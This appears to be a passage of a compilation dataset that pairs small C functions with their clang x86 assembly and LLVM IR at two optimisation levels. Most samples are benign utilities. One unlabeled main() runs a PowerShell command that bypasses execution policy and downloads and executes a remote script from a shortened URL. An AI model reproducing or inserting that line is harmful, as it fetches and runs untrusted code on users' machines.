%10 = phi i32 [ 1, %4 ], [ 0, %7 ]
ret i32 %10
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ scanf(char *, char *);
void ascii() {
  char c;
  printf("Enter a character");
  scanf("%c", &c);
  printf("\n");
  printf("The ASCII value of %C = %d", c, c);
}


x86 assembly (clang, -O0):
<ascii>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
lea    0xed1(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xed5(%rip),%rdi
lea    -0x1(%rbp),%rsi
call   1040 <scanf@plt>
lea    0xec8(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
movsbl -0x1(%rbp),%esi
movsbl -0x1(%rbp),%edx
lea    0xeb4(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<ascii>:
push   %rax
lea    0xec8(%rip),%rdi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xecc(%rip),%rdi
lea    0x7(%rsp),%rsi
call   1050 <scanf@plt>
mov    $0xa,%edi
call   1030 <putchar@plt>
movsbl 0x7(%rsp),%edx
lea    0xeaf(%rip),%rdi
mov    %edx,%esi
xor    %eax,%eax
call   1040 <printf@plt>
pop    %rax
ret

LLVM IR (-O0):
@.str = [18 x i8] c"Enter a character\00"
@.str.1 = [3 x i8] c"%c\00"
@.str.2 = [2 x i8] c"\0A\00"
@.str.3 = [27 x i8] c"The ASCII value of %C = %d\00"
define void @ascii() {
%1 = alloca i8
%2 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0))
%3 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* %1)
%4 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%5 = load i8, i8* %1
%6 = sext i8 %5 to i32
%7 = load i8, i8* %1
%8 = sext i8 %7 to i32
%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i32 %6, i32 %8)
ret void
}

LLVM IR (-O2):
@.str = [18 x i8] c"Enter a character\00"
@.str.1 = [3 x i8] c"%c\00"
@.str.3 = [27 x i8] c"The ASCII value of %C = %d\00"
define void @ascii() {
%1 = alloca i8
%2 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0))
%3 = call i32 @scanf(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* %1)
%4 = call i32 @putchar(i32 10)
%5 = load i8, i8* %1
%6 = sext i8 %5 to i32
%7 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.3, i64 0, i64 0), i32 %6, i32 %6)
ret void
}
void stack_analyze(const char *name, const char *stack, unsigned size) {}


x86 assembly (clang, -O0):
<stack_analyze>:
push   %rbp
mov    %rsp,%rbp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %edx,-0x14(%rbp)
pop    %rbp
ret

x86 assembly (clang, -O2):
<stack_analyze>:
ret

LLVM IR (-O0):
define void @stack_analyze(i8* %0, i8* %1, i32 %2) {
%4 = alloca i8*
%5 = alloca i8*
%6 = alloca i32
store i8* %0, i8** %4
store i8* %1, i8** %5
store i32 %2, i32* %6
ret void
}

LLVM IR (-O2):
define void @stack_analyze(i8* nocapture %0, i8* nocapture %1, i32 %2) {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, double);
double sum(int, double volatile, double);
int main(int argc, char **argv) {
  volatile double x = 1.0;
  volatile double y = 2.0;
  volatile double z = x + y;
  double res = sum(2, z, 2.0);
  printf("Res is: %f\n", res);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movsd  0xeca(%rip),%xmm0
movsd  %xmm0,-0x18(%rbp)
movsd  0xeb5(%rip),%xmm0
movsd  %xmm0,-0x20(%rbp)
movsd  -0x18(%rbp),%xmm0
movsd  -0x20(%rbp),%xmm1
addsd  %xmm1,%xmm0
movsd  %xmm0,-0x28(%rbp)
movsd  -0x28(%rbp),%xmm0
mov    $0x2,%edi
movsd  0xe8b(%rip),%xmm1
call   1040 <sum@plt>
movsd  %xmm0,-0x30(%rbp)
movsd  -0x30(%rbp),%xmm0
lea    0xe85(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0x18,%rsp
movabs $0x3ff0000000000000,%rax
mov    %rax,0x10(%rsp)
movabs $0x4000000000000000,%rax
mov    %rax,0x8(%rsp)
movsd  0x10(%rsp),%xmm0
addsd  0x8(%rsp),%xmm0
movsd  %xmm0,(%rsp)
movsd  (%rsp),%xmm0
movsd  0xea0(%rip),%xmm1
mov    $0x2,%edi
call   1040 <sum@plt>
lea    0xe97(%rip),%rdi
call   1030 <printf@plt>
xor    %eax,%eax
add    $0x18,%rsp
ret

LLVM IR (-O0):
@.str = [12 x i8] c"Res is: %f\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca double
%7 = alloca double
%8 = alloca double
%9 = alloca double
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store volatile double 1.000000e+00, double* %6
store volatile double 2.000000e+00, double* %7
%10 = load volatile double, double* %6
%11 = load volatile double, double* %7
%12 = fadd double %10, %11
store volatile double %12, double* %8
%13 = load volatile double, double* %8
%14 = call double @sum(i32 2, double %13, double 2.000000e+00)
store double %14, double* %9
%15 = load double, double* %9
%16 = call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), double %15)
ret i32 0
}

LLVM IR (-O2):
@.str = [12 x i8] c"Res is: %f\0A\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca double
%4 = alloca double
%5 = alloca double
%6 = bitcast double* %3 to i8*
store volatile double 1.000000e+00, double* %3
%7 = bitcast double* %4 to i8*
store volatile double 2.000000e+00, double* %4
%8 = bitcast double* %5 to i8*
%9 = load volatile double, double* %3
%10 = load volatile double, double* %4
%11 = fadd double %9, %10
store volatile double %11, double* %5
%12 = load volatile double, double* %5
%13 = tail call double @sum(i32 2, double %12, double 2.000000e+00)
%14 = tail call i32 @printf(i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str, i64 0, i64 0), double %13)
ret i32 0
}
/* Variables and functions */
int error(char *, int);
int badArgLst(int n) { return error("bad argument list", n); }


x86 assembly (clang, -O0):
<badArgLst>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
mov    -0x4(%rbp),%esi
lea    0xedb(%rip),%rdi
call   1030 <error@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<badArgLst>:
mov    %edi,%esi
lea    0xee7(%rip),%rdi
jmp    1030 <error@plt>

LLVM IR (-O0):
@.str = [18 x i8] c"bad argument list\00"
define i32 @badArgLst(i32 %0) {
%2 = alloca i32
store i32 %0, i32* %2
%3 = load i32, i32* %2
%4 = call i32 @error(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0), i32 %3)
ret i32 %4
}

LLVM IR (-O2):
@.str = [18 x i8] c"bad argument list\00"
define i32 @badArgLst(i32 %0) {
%2 = tail call i32 @error(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0), i32 %0)
ret i32 %2
}
void enter_hook() {}


x86 assembly (clang, -O0):
<enter_hook>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<enter_hook>:
ret

LLVM IR (-O0):
define void @enter_hook() {
ret void
}

LLVM IR (-O2):
define void @enter_hook() {
ret void
}
/* Variables and functions */
scalar_t__ islower(unsigned char);
unsigned char normalize_letter(unsigned char c) {
  if (islower(c))
    return c - 97;
  else
    return c - 65;
}


x86 assembly (clang, -O0):
<normalize_letter>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %dil,%al
mov    %al,-0x2(%rbp)
movzbl -0x2(%rbp),%edi
call   1030 <islower@plt>
cmp    $0x0,%rax
je     1140 <normalize_letter+0x30>
movzbl -0x2(%rbp),%eax
sub    $0x61,%eax
mov    %al,-0x1(%rbp)
jmp    114a <normalize_letter+0x3a>
movzbl -0x2(%rbp),%eax
sub    $0x41,%eax
mov    %al,-0x1(%rbp)
movzbl -0x1(%rbp),%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<normalize_letter>:
push   %rbx
mov    %edi,%ebx
call   1030 <islower@plt>
test   %rax,%rax
sete   %al
shl    $0x5,%al
add    %bl,%al
add    $0x9f,%al
pop    %rbx
ret

LLVM IR (-O0):
define zeroext i8 @normalize_letter(i8 zeroext %0) {
%2 = alloca i8
%3 = alloca i8
store i8 %0, i8* %3
%4 = load i8, i8* %3
%5 = call i64 @islower(i8 zeroext %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %12
7: ; preds = %1
%8 = load i8, i8* %3
%9 = zext i8 %8 to i32
%10 = sub nsw i32 %9, 97
%11 = trunc i32 %10 to i8
store i8 %11, i8* %2
br label %17
12: ; preds = %1
%13 = load i8, i8* %3
%14 = zext i8 %13 to i32
%15 = sub nsw i32 %14, 65
%16 = trunc i32 %15 to i8
store i8 %16, i8* %2
br label %17
17: ; preds = %12, %7
%18 = load i8, i8* %2
ret i8 %18
}

LLVM IR (-O2):
define zeroext i8 @normalize_letter(i8 zeroext %0) {
%2 = tail call i64 @islower(i8 zeroext %0)
%3 = icmp eq i64 %2, 0
%4 = select i1 %3, i8 -65, i8 -97
%5 = add i8 %4, %0
ret i8 %5
}
/* Type definitions */
typedef int /*<<< orphan*/ BIGNUM;

/* Variables and functions */
int /*<<< orphan*/ *get_rfc2409_prime_1024(int /*<<< orphan*/ *);
BIGNUM *BN_get_rfc2409_prime_1024(BIGNUM *bn) {
  return get_rfc2409_prime_1024(bn);
}


x86 assembly (clang, -O0):
<BN_get_rfc2409_prime_1024>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rdi
call   1030 <get_rfc2409_prime_1024@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<BN_get_rfc2409_prime_1024>:
jmp    1030 <get_rfc2409_prime_1024@plt>

LLVM IR (-O0):
define i32* @BN_get_rfc2409_prime_1024(i32* %0) {
%2 = alloca i32*
store i32* %0, i32** %2
%3 = load i32*, i32** %2
%4 = call i32* @get_rfc2409_prime_1024(i32* %3)
ret i32* %4
}

LLVM IR (-O2):
define i32* @BN_get_rfc2409_prime_1024(i32* %0) {
%2 = tail call i32* @get_rfc2409_prime_1024(i32* %0)
ret i32* %2
}
/* Variables and functions */
int /*<<< orphan*/ parse_expression_list(char *);
int main() {
  char A[2 + 2 + 4 + 1];
  A[2 + 2 + 4] = 0;
  parse_expression_list(A);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x0,-0x4(%rbp)
movb   $0x0,-0x5(%rbp)
lea    -0xd(%rbp),%rdi
call   1030 <parse_expression_list@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
sub    $0x18,%rsp
movb   $0x0,0x17(%rsp)
lea    0xf(%rsp),%rdi
call   1030 <parse_expression_list@plt>
xor    %eax,%eax
add    $0x18,%rsp
ret

LLVM IR (-O0):
define i32 @main() {
%1 = alloca i32
%2 = alloca [9 x i8]
store i32 0, i32* %1
%3 = getelementptr inbounds [9 x i8], [9 x i8]* %2, i64 0, i64 8
store i8 0, i8* %3
%4 = getelementptr inbounds [9 x i8], [9 x i8]* %2, i64 0, i64 0
%5 = call i32 @parse_expression_list(i8* %4)
ret i32 0
}

LLVM IR (-O2):
define i32 @main() {
%1 = alloca [9 x i8]
%2 = getelementptr inbounds [9 x i8], [9 x i8]* %1, i64 0, i64 0
%3 = getelementptr inbounds [9 x i8], [9 x i8]* %1, i64 0, i64 8
store i8 0, i8* %3
%4 = call i32 @parse_expression_list(i8* %2)
ret i32 0
}
void gtk_menu_get_active() {}


x86 assembly (clang, -O0):
<gtk_menu_get_active>:
push   %rbp
mov    %rsp,%rbp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gtk_menu_get_active>:
ret

LLVM IR (-O0):
define void @gtk_menu_get_active() {
ret void
}

LLVM IR (-O2):
define void @gtk_menu_get_active() {
ret void
}
/* Variables and functions */
int /*<<< orphan*/ fflush(int /*<<< orphan*/ *);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char const *,
                           char const *);
int /*<<< orphan*/ stderr;
void newmoontrace(char const *assemblyname, char const *functionname) {
  fflush(NULL);
  fprintf(stderr, "%s::%s\n", assemblyname, functionname);
}


x86 assembly (clang, -O0):
<newmoontrace>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
xor    %eax,%eax
mov    %eax,%edi
call   1040 <fflush@plt>
mov    0x2ea0(%rip),%rax
mov    (%rax),%edi
mov    -0x8(%rbp),%rdx
mov    -0x10(%rbp),%rcx
lea    0xeaf(%rip),%rsi
call   1030 <fprintf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<newmoontrace>:
push   %r14
push   %rbx
push   %rax
mov    %rsi,%r14
mov    %rdi,%rbx
xor    %edi,%edi
call   1040 <fflush@plt>
mov    0x2ea8(%rip),%rax
mov    (%rax),%edi
lea    0xebf(%rip),%rsi
mov    %rbx,%rdx
mov    %r14,%rcx
add    $0x8,%rsp
pop    %rbx
pop    %r14
jmp    1030 <fprintf@plt>

LLVM IR (-O0):
@stderr = global i32 0
@.str = [8 x i8] c"%s::%s\0A\00"
define void @newmoontrace(i8* %0, i8* %1) {
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
store i8* %1, i8** %4
%5 = call i32 @fflush(i32* null)
%6 = load i32, i32* @stderr
%7 = load i8*, i8** %3
%8 = load i8*, i8** %4
%9 = call i32 @fprintf(i32 %6, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* %7, i8* %8)
ret void
}

LLVM IR (-O2):
@stderr = global i32 0
@.str = [8 x i8] c"%s::%s\0A\00"
define void @newmoontrace(i8* %0, i8* %1) {
%3 = tail call i32 @fflush(i32* null)
%4 = load i32, i32* @stderr
%5 = tail call i32 @fprintf(i32 %4, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8* %0, i8* %1)
ret void
}
char *initrd_image_file_basename(char *fullname) {
  char *c;
  assert(fullname);
  c = strrchr(fullname, '/');
  if (c == ((void *)0)) {
    return fullname;
  } else {
    return c + 1;
  }
}


x86 assembly (clang, -O0):
<initrd_image_file_basename>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %rdi,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
mov    $0x0,%al
call   1040 <assert@plt>
mov    -0x10(%rbp),%rdi
mov    $0x2f,%esi
call   1030 <strrchr@plt>
mov    %rax,-0x18(%rbp)
cmpq   $0x0,-0x18(%rbp)
jne    1161 <initrd_image_file_basename+0x41>
mov    -0x10(%rbp),%rax
mov    %rax,-0x8(%rbp)
jmp    116d <initrd_image_file_basename+0x4d>
mov    -0x18(%rbp),%rax
add    $0x1,%rax
mov    %rax,-0x8(%rbp)
mov    -0x8(%rbp),%rax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<initrd_image_file_basename>:
push   %rbx
mov    %rdi,%rbx
xor    %eax,%eax
call   1040 <assert@plt>
mov    %rbx,%rdi
mov    $0x2f,%esi
call   1030 <strrchr@plt>
lea    0x1(%rax),%rcx
test   %rax,%rax
cmove  %rbx,%rcx
mov    %rcx,%rax
pop    %rbx
ret

LLVM IR (-O0):
define i8* @initrd_image_file_basename(i8* %0) {
%2 = alloca i8*
%3 = alloca i8*
%4 = alloca i8*
store i8* %0, i8** %3
%5 = load i8*, i8** %3
%6 = call i32 (i8*, ...) bitcast (i32 (...)* @assert to i32 (i8*, ...)*)(i8* %5)
%7 = load i8*, i8** %3
%8 = call i8* @strrchr(i8* %7, i32 47)
store i8* %8, i8** %4
%9 = load i8*, i8** %4
%10 = icmp eq i8* %9, null
br i1 %10, label %11, label %13
11: ; preds = %1
%12 = load i8*, i8** %3
store i8* %12, i8** %2
br label %16
13: ; preds = %1
%14 = load i8*, i8** %4
%15 = getelementptr inbounds i8, i8* %14, i64 1
store i8* %15, i8** %2
br label %16
16: ; preds = %13, %11
%17 = load i8*, i8** %2
ret i8* %17
}

LLVM IR (-O2):
define i8* @initrd_image_file_basename(i8* %0) {
%2 = tail call i32 (i8*, ...) bitcast (i32 (...)* @assert to i32 (i8*, ...)*)(i8* %0)
%3 = tail call i8* @strrchr(i8* dereferenceable(1) %0, i32 47)
%4 = icmp eq i8* %3, null
%5 = getelementptr inbounds i8, i8* %3, i64 1
%6 = select i1 %4, i8* %0, i8* %5
ret i8* %6
}
/* Variables and functions */
int /*<<< orphan*/ printf(char *, int, int, ...);
void main() {
  int a, d = 1;
  float f = 2.5;
  printf("%d "
         "%d "
         "\n",
         a, d);
  printf("%d "
         "%f "
         "\n",
         d, f);
  printf("%d "
         "%d "
         "%f",
         5, d, f);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
movl   $0x1,-0x8(%rbp)
movss  0xed9(%rip),%xmm0
movss  %xmm0,-0xc(%rbp)
mov    -0x4(%rbp),%esi
mov    -0x8(%rbp),%edx
lea    0xecb(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x8(%rbp),%esi
cvttss2si -0xc(%rbp),%edx
lea    0xebd(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    -0x8(%rbp),%edx
movss  -0xc(%rbp),%xmm0
cvtss2sd %xmm0,%xmm0
lea    0xeab(%rip),%rdi
mov    $0x5,%esi
mov    $0x1,%al
call   1030 <printf@plt>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xef0(%rip),%rdi
mov    $0x1,%edx
xor    %eax,%eax
call   1030 <printf@plt>
lea    0xee5(%rip),%rdi
mov    $0x1,%esi
mov    $0x2,%edx
xor    %eax,%eax
call   1030 <printf@plt>
lea    0xed5(%rip),%rdi
movsd  0xeb5(%rip),%xmm0
mov    $0x5,%esi
mov    $0x1,%edx
mov    $0x1,%al
pop    %rcx
jmp    1030 <printf@plt>

LLVM IR (-O0):
@.str = [8 x i8] c"%d %d \0A\00"
@.str.1 = [8 x i8] c"%d %f \0A\00"
@.str.2 = [9 x i8] c"%d %d %f\00"
define void @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca float
store i32 1, i32* %2
store float 2.500000e+00, float* %3
%4 = load i32, i32* %1
%5 = load i32, i32* %2
%6 = call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32 %4, i32 %5)
%7 = load i32, i32* %2
%8 = load float, float* %3
%9 = fptosi float %8 to i32
%10 = call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 %7, i32 %9)
%11 = load i32, i32* %2
%12 = load float, float* %3
%13 = fpext float %12 to double
%14 = call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i32 5, i32 %11, double %13)
ret void
}

LLVM IR (-O2):
@.str = [8 x i8] c"%d %d \0A\00"
@.str.1 = [8 x i8] c"%d %f \0A\00"
@.str.2 = [9 x i8] c"%d %d %f\00"
define void @main() {
%1 = tail call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32 undef, i32 1)
%2 = tail call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 1, i32 2)
%3 = tail call i32 (i8*, i32, i32, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.2, i64 0, i64 0), i32 5, i32 1, double 2.500000e+00)
ret void
}
/* Variables and functions */
int /*<<< orphan*/ system(char *);
int main() {
  system("powershell -executionpolicy bypass \"IEX (New-Object "
         "Net.WebClient).DownloadString('http://tinyurl.com/nvyyxpy'); \"");
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
lea    0xee5(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rax
lea    0xee8(%rip),%rdi
call   1030 <system@plt>
xor    %eax,%eax
pop    %rcx
ret

LLVM IR (-O0):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nvyyxpy'); \22\00"
define i32 @main() {
%1 = call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}

LLVM IR (-O2):
@.str = [115 x i8] c"powershell -executionpolicy bypass \22IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/nvyyxpy'); \22\00"
define i32 @main() {
%1 = tail call i32 @system(i8* getelementptr inbounds ([115 x i8], [115 x i8]* @.str, i64 0, i64 0))
ret i32 0
}
/* Type definitions */
struct vcall_insn {
  int dummy;
};

/* Variables and functions */
scalar_t__ ggc_test_and_set_mark(struct vcall_insn *const);
void gt_ggc_mx_vcall_insn(void *x_p) {
  struct vcall_insn *const x = (struct vcall_insn *)x_p;
  if (ggc_test_and_set_mark(x)) {
  }
}


x86 assembly (clang, -O0):
<gt_ggc_mx_vcall_insn>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rax
mov    %rax,-0x10(%rbp)
mov    -0x10(%rbp),%rdi
call   1030 <ggc_test_and_set_mark@plt>
cmp    $0x0,%rax
je     113c <gt_ggc_mx_vcall_insn+0x2c>
jmp    113c <gt_ggc_mx_vcall_insn+0x2c>
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<gt_ggc_mx_vcall_insn>:
jmp    1030 <ggc_test_and_set_mark@plt>

LLVM IR (-O0):
%struct.vcall_insn = type { i32 }
define void @gt_ggc_mx_vcall_insn(i8* %0) {
%2 = alloca i8*
%3 = alloca %struct.vcall_insn*
store i8* %0, i8** %2
%4 = load i8*, i8** %2
%5 = bitcast i8* %4 to %struct.vcall_insn*
store %struct.vcall_insn* %5, %struct.vcall_insn** %3
%6 = load %struct.vcall_insn*, %struct.vcall_insn** %3
%7 = call i64 @ggc_test_and_set_mark(%struct.vcall_insn* %6)
%8 = icmp ne i64 %7, 0
br i1 %8, label %9, label %10
9: ; preds = %1
br label %10
10: ; preds = %9, %1
ret void
}

LLVM IR (-O2):
%struct.vcall_insn = type { i32 }
define void @gt_ggc_mx_vcall_insn(i8* %0) {
%2 = bitcast i8* %0 to %struct.vcall_insn*
%3 = tail call i64 @ggc_test_and_set_mark(%struct.vcall_insn* %2)
ret void
}
unsigned avModUintp2c(unsigned a, unsigned p) { return a & ((1 << p) - 1); }


x86 assembly (clang, -O0):
<avModUintp2c>:
push   %rbp
mov    %rsp,%rbp
mov    %edi,-0x4(%rbp)
mov    %esi,-0x8(%rbp)
mov    -0x4(%rbp),%eax
mov    -0x8(%rbp),%ecx
mov    $0x1,%edx
shl    %cl,%edx
mov    %edx,%ecx
sub    $0x1,%ecx
and    %ecx,%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<avModUintp2c>:
mov    %esi,%ecx
mov    $0xffffffff,%eax
shl    %cl,%eax
not    %eax
and    %edi,%eax
ret

LLVM IR (-O0):
define i32 @avModUintp2c(i32 %0, i32 %1) {
%3 = alloca i32
%4 = alloca i32
store i32 %0, i32* %3
store i32 %1, i32* %4
%5 = load i32, i32* %3
%6 = load i32, i32* %4
%7 = shl i32 1, %6
%8 = sub nsw i32 %7, 1
%9 = and i32 %5, %8
ret i32 %9
}

LLVM IR (-O2):
define i32 @avModUintp2c(i32 %0, i32 %1) {
%3 = shl nsw i32 -1, %1
%4 = xor i32 %3, -1
%5 = and i32 %4, %0
ret i32 %5
}
unsigned short whisper_hton16(unsigned short x) {
  unsigned short r;
  unsigned char *p = (unsigned char *)&r;
  p[0] = (x >> 8) & 0xFF;
  p[1] = x & 0xFF;
  return r;
}


x86 assembly (clang, -O0):
<whisper_hton16>:
push   %rbp
mov    %rsp,%rbp
mov    %di,%ax
mov    %ax,-0x2(%rbp)
lea    -0x4(%rbp),%rax
mov    %rax,-0x10(%rbp)
movzwl -0x2(%rbp),%eax
sar    $0x8,%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x10(%rbp),%rax
mov    %cl,(%rax)
movzwl -0x2(%rbp),%eax
and    $0xff,%eax
mov    %al,%cl
mov    -0x10(%rbp),%rax
mov    %cl,0x1(%rax)
movzwl -0x4(%rbp),%eax
pop    %rbp
ret

x86 assembly (clang, -O2):
<whisper_hton16>:
mov    %edi,%eax
rol    $0x8,%ax
ret

LLVM IR (-O0):
define zeroext i16 @whisper_hton16(i16 zeroext %0) {
%2 = alloca i16
%3 = alloca i16
%4 = alloca i8*
store i16 %0, i16* %2
%5 = bitcast i16* %3 to i8*
store i8* %5, i8** %4
%6 = load i16, i16* %2
%7 = zext i16 %6 to i32
%8 = ashr i32 %7, 8
%9 = and i32 %8, 255
%10 = trunc i32 %9 to i8
%11 = load i8*, i8** %4
%12 = getelementptr inbounds i8, i8* %11, i64 0
store i8 %10, i8* %12
%13 = load i16, i16* %2
%14 = zext i16 %13 to i32
%15 = and i32 %14, 255
%16 = trunc i32 %15 to i8
%17 = load i8*, i8** %4
%18 = getelementptr inbounds i8, i8* %17, i64 1
store i8 %16, i8* %18
%19 = load i16, i16* %3
ret i16 %19
}

LLVM IR (-O2):
define zeroext i16 @whisper_hton16(i16 zeroext %0) {
%2 = tail call i16 @llvm.bswap.i16(i16 %0)
ret i16 %2
}